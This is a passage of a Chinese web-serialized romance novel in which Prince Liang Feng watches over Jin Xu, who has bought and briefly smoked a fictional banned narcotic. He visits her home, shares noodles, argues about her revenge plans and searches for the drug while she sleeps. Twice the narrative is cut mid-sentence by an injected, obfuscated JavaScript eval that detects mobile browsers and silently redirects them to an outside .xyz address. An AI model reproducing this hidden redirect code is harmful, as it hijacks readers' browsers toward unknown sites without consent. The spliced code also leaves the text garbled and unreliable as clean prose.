梁风听着听着便发觉不对劲了,她怎么就那么有法子去接近一些高门大户呢。说什么连皇宫的边都摸不着,摸不着她还在使劲儿地摸呢! 她将姿态摆得多低,她还说她不要工钱,她只是充满多余的好心。 梁风想把她拽回来,非要施粥的话,安分王府也可以施粥啊! 他果断和老李准备支棚子,施一整个冬天的粥。 老李却说王府没有那么多钱了。 梁风默然,思考良久,还是决定施。 棚子就不支了,打一缸井水用来洗碗,他的暗卫运粥快,路上不怕凉,一次煮小锅,多送几次,就不用砍柴搬砖在现场架临时锅灶煮粥了。 思索后,老李说这样的棚子恐怕太小,金姑娘看不上。 梁风又默然,最终认为关键是粥要好,放点肉,放点菜,撒点盐,棚子小没关系,讨粥的人多才要紧。 老李还是不同意。安分王府为拂柳街的修缮调资,此时不宜再出风头。 梁风噤了声了。 这时,十三来说,李家内部有个公子缠上她了,这两日准点在棚子里出现,整天和她哎在一块,不知道说些什么,金絮很不耐烦。 梁风觉得多余,真多余。 很快,除了那些个公子,李家几名女眷也发现了她,和她有过交谈。十三细打听之下,发现那些女眷是之前在与曦宴会上见过她的女子。 梁风这下不仅觉得不好,而且很疑惑,她这行为背后仿佛存着什么目的。 那些女眷会很疑惑,前次见她还是安分王府的客卿,怎么这次见她就成了连工钱也不要的义工。看她的眼神会不会很鄙夷?或许不是明着鄙夷,而是在背后指指点点。 十三说,金絮在面对那些女子时看起来心态很平和,没有不耐烦。 梁风感到生气,但是想一想,却不知道在气什么,她完全可以不这样做。 十三说,原本接近她的李氏公子在听说她的安分王府客卿这个前名头后便不再靠近她了。她安安心心地施粥,无人骚扰。 她没有因为被与宴女眷发现了就放弃施粥这件事,她仍做着自己的事。 有目标的人行动就是如此么。梁风很想见他,不知道这个时候她想不想见他。 想着她施粥的事,尝试从她的视角把她前后做的事情捋一遍。她先是参加宴会,认识许多高门贵女,然后离开王府。到了冬天开始施粥,她独自一人很难施粥,于是加入别人家的施粥队伍。加入后被这户人家的公子盯上了,被这户人家的女子认出了,最后果不其然被嫌弃了。 这难道是她早有的打算?她当时参加与曦那场宴会就是为了今日? 她心态平和,早有预料。她知道进入世家大族内部一定能攀得上关系,也一定会有认出她的女子,也一定会在认出她后又远离她,这都是她打算好的?或者她就是选着当初在宴会上记住的女子,如今来找她们对应的粥棚。梁风忽然有些明白了,她在自断前路,她希望能往后退。她早知道自己会这样选,于是早有准备,断了自己选择的这条路。 这是她的那根稻管,梁风想给她想要的。 林童忆给不了她,林童忆一开始就错了。 施粥施了一个春节,这段时日,姓林的仿佛从她身边消失了。 光禄勋忙着过年期间筹备各种礼节,代朝廷将过年问候发往各地王宫郡县,以及归附于大周的临边小国。林童忆这段时日忙得无法休沐一天。 活该,这就是上进的代价。 他这个时候就应该赶紧去她身边陪着,取代林童忆。 春节之后,很快到元宵。冬季即将结束,大小粥棚无论如何都要收了。每日在城门下巡逻的卫兵增多,紧紧盯着各家各户收关粥棚,指挥流民离开京城回家乡去。 梁风留意了一下拂柳街的进度,已经快修完了。金絮不再施粥,也没有关在屋子里不出去。她在各街四处游荡,走走看看,随地在小摊子吃饭。 今日去拂柳街看了一圈回来,十三居然在王府里等他。 “怎么了?”十三一般不亲自来报消息,多是写信送函,防止金絮身边出现无人的空档。 “主子,姑娘今日跟路边一个大爷买一袋绿鸦膏和一支烟斗,带回家了。” 梁风一惊,“她受伤了?” 十三摇头,“姑娘并未受伤,属下不知道姑娘买下绿鸦膏是因为什么。姑娘在那大爷撺掇下原本当场就想吸的,被属下制止了,姑娘便买下了那袋绿鸦膏以及烟斗。” “她想吸?” “是。”十三道:“属下的行踪恐怕已经暴露。” 老李听见了问道:“民间何时出现绿鸦膏了?” 梁风茫然地摇头。早在皇帝登基前,朝廷就已经明令禁止民间传播绿鸦膏,种植、开采、运输全由朝廷控制。他交出兵权前仅在军中使用,专为战后重大伤兵治疗。 李婶听说了,赶忙过来道:“姑娘买来是要自己吸食?” 梁风还未说话,李萍凤肃然警告道:“万万不可。微量绿鸦膏用于外敷药物中可有效止痛,但是用量稍多便会麻痹大脑,腐蚀口腔齿龈和肺管,快感容易让人上瘾,与毒无异。” 梁风明白,“我知道。朝廷对绿鸦膏的管控是很严的,军中用量都极微少,不知道什么时候流通到民间了。” 军中用药时,有的大夫控制不好用量,伤兵痊愈后仍然表现出对药物极大的渴求。下旨颁布私贩绿鸦膏者全族受罚十年牢狱这条法令的人是先帝,就是他爹。 梁风向十三道:“行踪暴露不要紧,你且记得盯紧了,往后可以离她近些。她若是想自己吸食,你要及时制止,然后立即来告知我。” 李婶道:“绿鸦膏点燃后会有一股极浓的香甜气味,离近了很容易发现的。” 梁风拿出纸笔,向十三道:“你还记得卖绿鸦膏那个大爷长得什么模样?大致画一下,得把这人找出来。” 十三接笔,粗糙地画了。 老李上前问:“王爷不去找她吗?” “要找,我得没收她的绿鸦膏。”但是不能急,他想知道她买绿鸦膏来是要干什么。既然十三已经暴露行踪,她肯定清楚他知道了,明白后续的行动都被他看在眼中。她能不能自断这条路。 梁风带着十三画好的画像去找冯棹台,将这件事交给冯御史。 冯棹台对绿鸦膏不了解,但是十分慎重地接过了这件事。 金絮之后安安静静,少出门,常趴在窗边看雪,偶尔与串门的林童忆闲聊。 元宵后,梁风收到一封穿越风雪寄来的信件。 信是一张纸,纸张满是皱褶和污渍,是由数趟商队辗转接力送来的一副简画。画着几条弯曲的线条和一个山字,画中没有方格子。 梁风一看就知道是十二送来的。看画表达的意思是一处有水的山谷,附近百里没有县城。 他看了半天,想的都是金絮。不知道她看见这张画会有什么感想,她会觉得他可以成为她的后路之一吗?她会不再把太南作为她的唯一后路吗? 他收到简画的同时,十三说她件也收到了一封信。 她收到太南送来的信,十三不知道寄信人是谁,梁风猜测大概是她在太南的小姑娘们寄来的。 不知道说的什么事。梁风派出暗卫去太南打听,希望不是太坏的事。 太南的消息还没传来,十三再次亲自过来找他。梁风一看见十三就知道是什么事了。 “姑娘今日去找了徐公子,两人吵了一架,回去后便关在房中,没有再出来过。傍晚前窗外飘出一股甜香,属下便在窗户上开了个洞,见姑娘趴在桌上睡着了。她手边烟斗内的绿鸦膏已经点燃,按时机算,应当只吸了一点点。” 梁风听了很难过,“她当真是买来自己吸的,她不是在复仇吗,怎么不是买来害人的。” “......”李晟看着他,无言地看着他。 “我要去找她。” 老李赶紧道:“去吧,王爷快去。” 十三道:“主子,属下过来前遇见林公子来找姑娘。姑娘回去时忘记锁屋子大门,林公子直接进了她房中。” 梁风停步,立马扭头问:“姓林的找她是干什么?” “不清楚。姑娘刚睡下林公子便找来了,反应很快,立马开窗通风。属下透过窗户看见林公子将姑娘抱进里屋,近了里屋后便看不清了。”十三一五一十道:“林公子在里屋待了一小会儿,然后才走,走前关了窗户、锁了门,还拿走了姑娘买的绿鸦膏。” 这么碰巧。不得不说姓林的是有点用的,不过即便没有林童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839942|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆,十三也会为她开了窗户再来报他。离得近就是好,他不在她身边的间隙,她被林童忆照顾到了。姓林的还能帮她锁门,难道有她的钥匙?她不可能对林童忆这么信任。 老李道:“今日姑娘已经睡了,您明日再去找她吧。” 不行。梁风非得看她一眼。 天色将黑,梁风飞奔去秋叶巷,直接跳进她的院子。 进了院子便再进不去了,窗户从里面锁住,屋门也锁了,他没有她的钥匙。 窗户上还有十三破开的小洞,梁风透过小洞往里看,看不太清,里面没有蜡烛,隐隐约约闻见一股霉味。 不想拍门叫醒她,梁风点多一名暗卫,和十三交替换岗。 他仿佛知道她在想什么,她吸绿鸦膏只是想开心一点。真是一刻不容疏忽,疏忽一点她就要做坏事。 天亮再来找她。梁风回了府,叫李婶备些驱寒和补气血的药材之类,然后买些她喜欢的糕点吃食,准备明天带给她。最好是一早见到她,先吃些糕点垫垫肚子,然后带她去酒楼吃饭,吃大餐,她这几月吃的都不好,许多话都要和她说一说。然后他就可以把林童忆挤走了。 全部准备好,睡觉。 第二天醒来,刚刚天亮。 收拾好立马去找她,老李却来说,昨夜未时十三送来了一封信,说是金絮似乎大半夜醒了,没有开窗,没有点灯,十三只看见她的烟囱飘出细烟,不知道是不是被冻醒的。 梁风心里骂那个姓林的,真不会照顾人。他带上药材与吃食再次去秋叶巷,一到她门前便看见阶梯的雪堆上有一排走出去的脚印。 比照大小后确认是她的脚印,从屋子里出去了,还没回来。 梁风拍门喊她,无人应答。 她身边的暗卫留了一个在附近,梁风叫来,得知她天一亮便出门了,才走不久,可能是去吃早饭,有十三跟着。 梁风低头看着她的脚印,决定等一会,她若是一直不回来,再出去找她。 面朝她的门,梁风安安静静等着。 盯着她的门锁。是很寻常的锁头,非常薄,有点锈了,看起来很脆,他一刀肯定能斩断,关锁时只需要将两头对准锁孔用力一按就能关好,无需钥匙。 呵,林童忆。 梁风抬头看着她的门额与两侧墙头,想着待会可以帮她扫扫雪。 等了没半个时辰,邻里有户人开了门,往外泼水,水声哗啦后响起鸡鸭惊躲声。梁风不觉往邻里那处看了一眼,斜对门薄矮的院墙内飘出淡淡的热气,院门里,有位头裹布巾的妇人收起泼盆的动作,也正看着他这边,疑惑地打量他。 金絮的邻居。看过去了,也对上眼神了,梁风便客气地点头算打过招呼,接着收回视线。 心里算算时辰,她该回来了。这么想着,梁风听见那妇人说了什么话,没听清,他又看过去,那位妇人站在了大门旁边,斜着眼睛看着他,或者看着金絮的屋子。 见这妇人面露鄙夷凶狠,梁风有些疑惑,想上前问一下,那妇人突然呸了一口:“好不知检点!”语气在骂,骂完啪地将门关了。 梁风莫名其妙,兜头挨了一句骂,他不检点?这妇人是怎么看出来的? 看来她邻里的人不是很好相处,冲动易怒,性情不稳定,她又是独居,容易被欺负。他得常来找她串门。 梁风继续在她门前站着等。 等着等着,脑中忽然灵光一闪,想起林童忆也常来找她。这妇人骂的不会是金絮吧。 不检点,一个独身女子,却总有陌生男子找上门,还会进入房中私话,一个两个,骂的不检点的人是她。 梁风随即想到背后对她指指点点的恐怕不止这妇人,肯定还有附近一群人,指不定怎么编排她。 心头火起,想替她收拾这群邻居,梁风往旁边跨出两大步,作势要打门,身上却传来一股感觉,心头火气莫名被扑灭。他扭头随处一看,正好看见金絮在巷子那头缓缓走来。 她穿着厚厚的棉服,手里拎着两袋东西,眼睛看着他。 握紧的拳头松了开,心心念念的眼睛出现在眼前,画是死的,她是活的,她的眼睛他没画出来半分。 见到她的一瞬,梁风发现内心深处仍然觉得喜欢她是一件很简单的事情,没必要想得太过复杂。希望她的面色健康一点,身上胖一点,眼下没有青黑,嘴唇红润一点,气血不虚弱,头发光亮顺滑一点,多笑一点。相比之下,和她是什么关系一点也不重要。 梁风蹬蹬蹬地跑过去,脚底一滑,差点摔跤,挡在了路中央。 金絮站停,垂眼观赏他,脸上涂了妆,神情冷漠。 梁风讷讷站好,双手去接她的东西,“我来找你,我帮你拿。” 她手不动,“找我干什么?” 好冷漠。干哑的声音像是睡醒后就没喝过水。梁风垂手挡在她前面,道:“我不生气了。” “哦。找我什么事情?” 金絮绕过他往前走,把东西用一只手拎着,从摸怀里的钥匙。 梁风紧紧跟着,踏上门前台阶,在金絮站到比他高的位置后,扯住她的衣袖,“是你在找我,我很想你,就来找你了。” 门开了,她却只将门开了一条缝,一边跨入,一边回头扫视他。 “我没有事情。”她说着,自己抽袖挤进去,留他在外面。 门啪地关了,门头积雪微微落下来。 梁风低头看手指,落下的积雪落在他的手指上。她显然早有防备。 208. 《红叶书》(一二八) 梁风走去大门旁边,轻轻一跳趴上墙头,见金絮在开正屋的门锁。 “你怎么不问我为什么知道是你在找我?”他喊道。 金絮不理。 梁风抓一把墙头雪,稍微一捏,捏出一个小球,对准她开锁的钥匙投过去。 她恰巧略微一动,雪球正中她的手背。 但是对她毫无阻碍,顺利地开了门。 推门的手放在门扇上停住了,她像是想起什么,扭过头来,看着他道:“你弄坏了我的窗户。” 梁风挂在墙头,闻言身体慢慢下滑,只露出半个头去,越过墙头偷偷看她的脸色。 她的脸色逐渐面无表情。 抵住墙壁的脚尖微微一蹦,梁风的头探出大半个,喊道:“对不起。” 他先认错:“窗户是我让十三弄坏的。” 他又埋下半张脸去,解释道:“因为、你那天在路边买了一袋绿鸦膏回家。我得看着你。”他说得理所当然。 金絮仍然面无表情,“这里不是我的家。” 她冷声提醒。梁风闭嘴了。 开门,金絮撤身进去,门关。 梁风翻身跳进她的院子。院子极小,院墙和屋子也就隔了两三步的距离。 “我有话和你说。”梁风对门道:“我不生气了。” 不理他。梁风走到窗前,找到十三抠出的窗洞,戳进半个指头,扣一扣,窗户是锁住的。 梁风把嘴对准窗洞,道:“我帮你修窗户好不好?” “我给你带了吃的。” “我还给你带了驱寒的药材。” “宵禁了,再不让我进去我就要被抓走了。” 将近正午的阳光照射屋顶积雪,雪光闪闪夺目,天寒地冻。 梁风透过洞眼向里面巴望。里面似乎是厨房,她在开锅盖。 还待细看,金絮走近,唰地推开了窗,窗扇差点照他脸上一拍。 “要和我说什么?说吧。” 梁风双臂搭在窗户两侧,堵住她再关窗的可能。他道:“我要和你好好谈一谈,关于你想复仇的事情。” 她道:“不行不行不行不行不行。不可以!” 她道:“好了,说完了。” 梁风简直无法反驳,“不是说这些......” 金絮敛了表情,嘴角都敛住,脸上沉默冷静。映着雪光的眼睛盯着他,深涡明澈,很浓又很清,和以往每次看他时一样。 一股莫名的感觉升起,梁风道:“但我也不是同意你去复仇的意思。” 她脸上不变,梁风在心里揣摩一番,不觉凑近她的眼神,肚子却被窗户挡住了。他抓住上方窗棱,手臂一撑跳进去。金絮往后撤步躲开,看着他的眼睛微微瞪大。 “我是有很多详细的话要和你说的。” 脚落定,霎时间被一股霉味裹挟,屋里比外面看起来更暗。 “讲。”她道,眉眼很不满,不耐烦看他了。 虽然惜字如金,但她愿意听,梁风反而不急着说了,已经进了她的屋子,先看看。 这一看,梁风诧异道:“厨房和堂屋挨在一块?”油烟太大了吧,京城居然能买到这种布局的宅子? 金絮白他一眼,去灶台后添柴火。 前后五六步,左右七八步,窗户对着的就是厨房,厨房另一头是窄榻,有一张小窗,照进来的光线正好洒在榻上桌案。小窗边立了一个霉木架子,乱七八糟的东西散了一堆。 霉味来自于墙筑本身,不止是屋子里存放的东西。窗户虽然小却足够通风,没有点炭火,非常冷。 金絮往锅里倒油,滋滋啦啦,青烟冒出来,油烟味渐重。 她买到柴火了。梁风趋趋贴近,暗示道:“我也没吃早饭呢。” 她不说话,就着锅铲敲了一个鸡蛋。蛋液滴下去,溅起油来,她皱眉缩手,锅铲拨弄拨弄。梁风想帮忙,不知道从何帮起。 “好像油少了点。”他道。 她不说话,皱着眉将鸡蛋快速翻了个面,锅铲在锅边敲了两下,接着舀一勺灶台侧边的缸水倒入锅中。暴响之后,没熟的鸡蛋混着没熟的水,锅里很冷静。 金絮从霉木架子取下一个小麻袋,放在锅边打开,里面是生面条,偏厚,每条指宽。 她抓了一把面条放进没熟的水中。梁风道:“我也还没吃早饭呢。” 她不搭理,水缸边放着两个小陶罐,她各舀了一勺撒进去,是大颗的盐和香辛料。 这点面条无论如何是不够两个人吃的,梁风看看她,见她没有再动的意思,便自己抓了把面条放进锅中。他再拿锅铲扒拉一下,锅里的水刚好可以没过全部面条。 金絮盖好锅盖,走开,坐到案榻上,看着他道:“讲。” 梁风将带过来的东西给她,“饿了吧,我带了糕点,先垫垫肚子。” 都是她爱吃的。金絮看了糕点一眼,也不推辞,一口一个。 涂了口脂的嘴唇起皮了,看起来很干燥,脸上的妆涂得似乎不匀,扒着些颗粒,颗粒尤其混在眉毛里。眼睛有神,但是眼睛深处却有些发散,脸上有种往下掉的感觉。 “是不是没休息好?” “讲。” 她只会说这一个字。梁风发现她拿糕点时手指微微发抖,眨眼的时候眼睛闭下的动作很用力,眼睑位置有些细微的纹路,显然是没休息好的样子,手抖是饿得。 “林童忆也会像我这样厚脸皮吗?” “不会。” “我觉着你对我是比对林童忆要好的。” 她不应了,吃完一包糕点,又起身去霉木架子上取了两对落灰的碗筷,揭开锅盖看了看,煮面条的水当然还没开。 梁风追随她走来走去,道:“前几年是不是放下了?因为她们的事情重新想复仇了?你说过你连皇宫都摸不着。” “前几年没有放下。摸不着就想办法摸着。”她答。 “上回你说,你要看看林童忆能做到什么位子上去,那现在你觉着林童忆怎么样?他短短几个月就从一个看门的升为光禄勋给事谒者了。” “那是宿卫,不是看门的。” “看门的。”梁风道:“你觉得怎么样?是不是可造之材?” 她坐回案榻,吃另一包糕点,吃了两块,才答:“还行。” 梁风挨着她坐,“我们上一回在午亭下的谈话,是在吵架吗?” “嗯。” “不是,我们那时不是在吵架,只是没说明白。”梁风声声道:“上回谈话不公平,你说得太突然了,我都没有做好回应的准备。” “现在讲明白。”她道。 现在讲明白。 他挺明白的了,只是要说又不知从何说起,梁风道:“我仔细想了想,决定重新衡量一番我在你心里的位置。” “你什么位置?”她专心吃糕点。 梁风先不答:“我且问你,你前一阵子在城门口施粥,起初是自己煮粥,后面去大户人家派粥,你遇见了在与曦宴会上认识过的女子,那女子对你去她家里施粥的事情有没有说过什么?” 她眼风淡淡飘过来,斜斜觑着他。梁风被看得心里发虚,但是硬气道:“我知道你在干什么,你要回答我。” 她翻眼收回视线,“没说什么。” “那户人家和朝堂大员攀亲,你知不知道?” “知道。” “那户人家里有个男人是从前温柔馆的宾客吗?” “嗯。” “那男人认出你了?他和你说了什么?” 她认真想了想,道:“他说他心疼我,说我没必要做那种活计,说我在他府里可享受荣华富贵。哦,还问我家里人住哪里,我说没家。”她再一想道:“那人应该是想收我做他的小妾吧,还说他后宅妻妾和睦,子女成群。” 梁风眼睛瞪直了看她,“然后呢?” “然后你不知道?” “我要听你说。” “然后我被你耽误了。”她肃脸道:“那户人家的二小姐因为见过我,知道我曾经是安分王府的客卿,曾经和安分王不清不楚,那男的便很有些忌惮。我被你耽误了。” “这是耽误吗?这难道不是拯救吗?”梁风立马听出来她在刻意带偏他,他绝对不会被她带偏,他掷地有声道:“你在安分王府,绝对不会是小妾!” “不是小妾就是拯救了,了不起。” 梁风蓦地警醒,差点又被她带跑偏了,居然从接近一个结亲朝廷大员的事说到小妾和耽误,偏到话头变讽,他赶紧把话题扯回来:“这事情关键不在是不是小妾,而是你做这件事背后的原因是什么?” “要你管。” “你看似铺了一堆,其实啥也没干成。林童忆升了职,和你接触反而少了。你是不是在利用那位二小姐斩断你可能攀附大员的行事,早在你参加与曦那场宴会时你就有预谋了,你根本不想复仇,对不对?” 金絮瞪他,“叫你不要盯着我了!” 梁风霎时噤声,被她一凶就老实了。 金絮实打实地翻了个白眼,再去揭开锅盖,大火烧出浓浓的蒸汽,弥漫了一间屋子。她用锅铲拨弄拨弄,又撒点什么,盖上盖,蒸汽从窗户飘了出去。 “你变凶了。”他委屈巴巴。 她从霉木架子取下一只铁壶,舀入大半清水,接着从灶台后的柴火堆中翻出一支两头带弯钩的铁杆,一同放在灶旁。 梁风并膝揣手坐在榻前看着她。金絮揭开锅盖,这次面条煮好了。她开始捞面条,梁风走过去,准备帮她端碗,汤碗肯定很烫。 两碗盛满之后锅里还有剩。梁风献殷勤,立即端了一碗快速地送去榻上桌案,回头端另一碗,见她用布巾裹了碗,悠哉悠哉地端过来。 放下碗,她走回去,用布巾把住大锅两头,把整个锅端了起来,柴火烈烈冒出灶台。她将铁杆的一头挂在头顶横悬的一条粗绳上,另一头挂住水壶,水壶正好对准灶台火口。壶身太小,周围一圈还有很大的空隙,火焰冒了出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839943|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这是在烧水。梁风趁机将自己带来的驱寒药材倒入水壶中。 金絮坐好,拿起筷子吹吹热就开吃。 窗口冷风吹进来,面条凉得快。梁风坐在她面前,桌子小,两个碗边挨着,离她也近。 这样在小桌上吃饭也很不错,比王府那种大桌要好。 梁风随即想到这几月她都会和林童忆这样吃饭,脸立即垮下来。 “你能和林童忆做朋友,那能不能和我做朋友?你不能凶我。你肚子饿的时候就是脾气坏。我们不能好好相处吗?” 她咽下面条道:“凶你没有代价。” “有!”梁风强烈道:“你若是当真太凶我的话,我就不喜欢你了。” 她默默。梁风看看她,见她没有反驳,不知怎么有些得意,轻微得意,便也专心吃面条。吃了一口,清水面条完全没有味道,面条又糙又硬,能磨炼牙口。 金絮吃得很认真,一边吃还会一边喝汤,也不嫌烫。梁风心里开始想,这附近有什么好馆子带她去吃吃。 为什么觉得凶他没有代价?怎么可能没有,他又不是个大好人。 好像也是,从前凶他,她有过什么代价? “喜不喜欢我,都不算代价。”她道。热水喝下去,她的嗓子清朗许多。 那什么是代价?梁风这一口还在嚼,在嚼就说不出话。 看她也是挺不爱嚼的样子,但是她吃下去了,梁风眼见她嘴上的口脂被她吃下去一小半,口脂下的嘴唇颜色淡多了。 这一口还在嚼。梁风学着她喝汤,这一口咽下了。 “不爱吃就别吃了。”她道。 梁风抱碗,“我爱吃。” 她的一碗很快吃完了,兴许是饿了,她去锅里夹完剩下的面条。 梁风碗里的汤越来越少,面条不减,他慢悠悠地吃,“那你说什么是代价?” “一刀两断,老死不相往来,再和对方说一句话子子孙孙不得好死。” 梁风沉脸,“这哪里是代价?这是诅咒了。凶我的代价最多是我会凶回去。” 她夹完面条坐回来继续吃。 “那你凶回来。” “我可不可以和你做朋友。” “不可以。” “为什么不可以?”梁风再重复并且强调:“我不生气了。” 她认真吃面,“没有为什么,我不想再利用你了。” 看看看看看,又来了。梁风道:“你看你又来了,我做了你不喜欢的事,你会凶我,但也并不会说我一句重话,还会再说一句安抚我,我觉得你在纵容我对你的喜欢,你就是故意的,你是蓄谋的。” “你有毛病。” 凶他是在纵容他的喜欢,他有毛病。梁风也不知道怎么反驳,正经道:“反正就是这样,我说的没错。” 梁风盯她,金絮道:“不是纵容,我只是还有一点良知。” 她再次吃完了,水壶的水也烧开了,她起身去倒了一碗热水,端回来吹凉慢慢喝。 筷子在碗里搅来搅去,梁风不下第二口,明明是熟面条,筷子夹却夹不断。 他低头看碗,把话捋顺了道:“我不知道你在想什么,你说你不会私下见林童忆,我说你不可以骗我,你说你非要骗,你说你想复仇,你说不出来这种话的,可是你说了,你说什么我都会信。” “你说你十分厌烦我这人,你现在还说不想再利用我了,我也信,但你平时怎么对我的,让我觉得你并不厌烦我。” “我决定把我在你这里的位置放得更重一点。” “你上回说你从我身上学来了什么?我在你心里是什么位置你都要告诉我的,你会吃绿鸦膏是因为内心煎熬无法排解,你在王府也是这样,但你不会吃绿鸦膏,你定是需要我的,林童忆帮不到你。” “林童忆说助你复仇,其实他根本帮不到你,那人都不知道你想要什么......” 说得激动,他一抬头,见金絮斜椅着榻靠,睡着了。 居然睡着了。 双眼重重地闭着,呼吸沉重舒缓,刚睡着便睡熟了。 梁风有一点点沮丧,又觉得正常,她脸上的疲惫连妆容都难以掩盖。 碗里的水喝了一点,还在冒热气,口脂被她吃掉大半,案榻太小,又没有垫枕,她的身体缓缓下滑,肩腰的姿势变得别扭起来。 梁风轻手轻脚绕过去扶正她,抱在怀里,她没醒,呼吸似乎更重了。梁风穿膝抱起来,她的份量轻了许多。去支郁村的时候,偶尔抱她上下马,那会风餐露宿吃得不好她都没有这么轻。 内外间只用一块薄布帘相隔,梁风抱她进去,里面完全无光,一扇窗都没有。 气味有点怪,他摸黑寻到她的床,缓缓将她放下。忽然想起很久以前,有一晚她在温柔馆的桥上席地睡着了,他也是这样抱她回房,结果一挨床就醒了,然后让他滚。 这回让他滚他同样是不会滚的。不知道刚才的话听见没有,没听见还得再和她说一遍。 209. 《红叶书》(一二九) 将她放下,她没有醒。 梁风从外间拿了两支蜡烛,照亮她的床榻。 里侧有一座被子山,略一数,至少有六种花色的棉被,占了大半张床,她只能缩在榻边。不过和屋内其他地方比起来,床榻还算整洁干净。梁风脱了她的外衣和鞋,给她盖了四张被子,仔细看看这张床。 这是个炕,榻板底下能烧炭加热,但是内间没有窗户,不通风,不能烧炭。她应当于是放了这么多床被子。 幸好是吃了东西才睡的,身体能暖起来。梁风再给她加盖一床,帮她摆好头发。她睡得踏实,一番折腾也没醒。 他四处看了看,内间比外面看起来要大些,进门对角放了一只大木桶,旁边简易架子上挂着大大小小的布巾。 这应当是浴桶。卧房和浴室合为一间,厨房和堂屋合为一间,不知道这宅子值多少钱。但凡有个五百钱,都该整治一番秋叶巷的府衙了。 浴桶和床榻中间有张小桌,桌上放了些瓶瓶罐罐、一盏烛台和一面巴掌大的小圆镜。这些东西有点胭脂的香气。桌子对面是衣柜,柜子也就他身宽。 梁风点亮小桌的烛台,用那壶药材水洗了一块看起来干净的布巾,为她擦脸。擦了几次,才把她脸上的妆全部擦掉。再拿烛台凑近她的脸,仔细瞧。 可能是烛火的原因,她的脸色看起来很蜡黄,两颊比从王府出去时瘦削很多,陷下去了,嘴唇和鼻子周围都起皮了,唇色也有点黄白黄白的,左额还有一颗红色的痘包,双眼下面都是皱皱的线条。 梁风顺着她脸上瘦削的线条轻摸,摸到她的嘴唇,很干燥。他伏低凑近,轻轻拨开她的嘴唇,看见她的牙齿。 牙齿是很白的,没有黑点。李婶说,绿鸦膏吸多了当先的除了伤肺外,最明显的就是舌头和牙齿会出现被腐蚀的症状,从里面一点点变黑发臭,到她一咧嘴就能看出来。 十三盯得紧,她应当只吸过一次,嘴上早就没了痕迹。 但是一次也不行。梁风戳戳她的脸颊。 烛光离得近似乎也晃不着她,看这样子她能一觉睡到明天早上。 他去小桌的瓶瓶罐罐间翻找,找到一个圆罐有点像她之前给他涂过的雪花膏。梁风指尖抠出雪花膏,往她脸上抹了厚厚的一圈,包括嘴唇也抹了,起皮的情况下去一点。 然后便不打扰她,他去外间找自己的那碗面条。汤水已经全干了,他给碗里添水,硬吃。 灶台的火将熄,壶水没那么烫,梁风一边端碗嚼面,一边巡视她整间屋子。 灶台上方的烟囱只透出几个光点,确实是被堵住了。灶台后是柴火堆,十数根,柴火堆里有灰和不要的纸袋。梁风将这些纸袋一一拆开来看,应当是包过食物,有几点油渍,里面没有东西。 他从灶台看到案榻,她的碗还在桌上放着,榻上垫了竹垫,竹垫上盖了一张尺寸偏小的棉布。梁风挨个掀开布和竹垫,下面都没有藏东西。 他将榻板的每块位置都敲了敲,里面是空的,全部摸了一遍也没找到暗格。 他又去看霉木架子。咬了口面条,牙尖一软,他低头看,这一口不是面条,是颗煎蛋。 这时想起来,刚才的确没见到她吃煎蛋,煮面时她煎了一个鸡蛋,只煎了一个。 梁风嘿嘿一笑,端碗跑去看她,她还在睡。 梁风一边吃煎蛋,一边美美地继续检查。 架子上基本都是粗粮,麻袋装着,一摸就知道是什么。他挨个检查了一遍,终于在最下层最右侧的麻袋边上看见一点绿色的粉末。 他揩一点粉末闻了闻,确认是绿鸦膏。这个麻袋和旁边的麻袋中间有个空位,应当是她原本用来存放绿鸦膏的。 大概是被林童忆拿走了。梁风不放心,将还没检查过的地方检查了一遍,连同内间的衣柜。 她的衣裳稀稀拉拉,没有几件,更没有叠,衣裳最底下压着两只木盒。梁风不看木盒,她在王府住着的时候就会在衣柜里单独用盒子装贴身衣物,这两个盒子里应当也是。 不过她要是有心把绿鸦膏藏在这两个盒子里的话......没点燃的绿鸦膏也会有股隐约的香气,但是他凑近去闻就太怪了。 梁风老实地坐在她床边,看着她睡觉,吃完面条。 期间她翻了一次身,睡得很好。 吃完面,洗了两只碗,梁风叫来得闲的暗卫,开始疏通烟囱。 买个竹筐,对准屋里的烟囱口,另一个人去房顶,用粗长的竹条捅穿烟囱,落下的灰尘污垢就会掉进竹筐里。 房顶偏薄,好疏通,梁风和暗卫一起弄了大半个时辰就清完了。然后他去秋叶巷的水井打水,接满一缸。 趁着天还没黑,她还没醒,梁风再将门前、墙头和小院子的积雪扫干净。在院子右侧角落发现恭桶。先前十三不小心洒进来的那些碎金和钱币也一一清了出来,用荷包装了,放在她的床头。 天黑了,梁风去附近市集采买。买了蒸笼蜡烛和滋补药材后去酒楼吃饭。吃完饭另外点了清蒸鱼、清蒸鸡和包点肉食之类好吃的东西,食盒装了带回去。 一通忙活之后她还没醒。怕她夜里醒来,梁风便在床边守着。 应当最多睡到明早吧。他坐了一会便响起街鼓,宵禁了。 “回不去了,我今晚在你这儿过夜。”梁风道:“不说话就是答应了哦。” 无所事事地守在床边,没事干倒也不无聊。 悠哉悠哉之际,他想到什么,后知后觉反应过来,她为什么会在家里有个男人的情况下十分舒服地睡过去了,还睡得这么死?不担心他会动手动脚?不会林童忆在的时候她也这样吧?这么放心? 梁风突然觉得不对劲,她忘了锁门,林童忆直接进到她家中,也是对她家里一通搜刮,拿走了绿鸦膏。虽然走的时候替她把门锁了。 心宽了也没见她体胖。 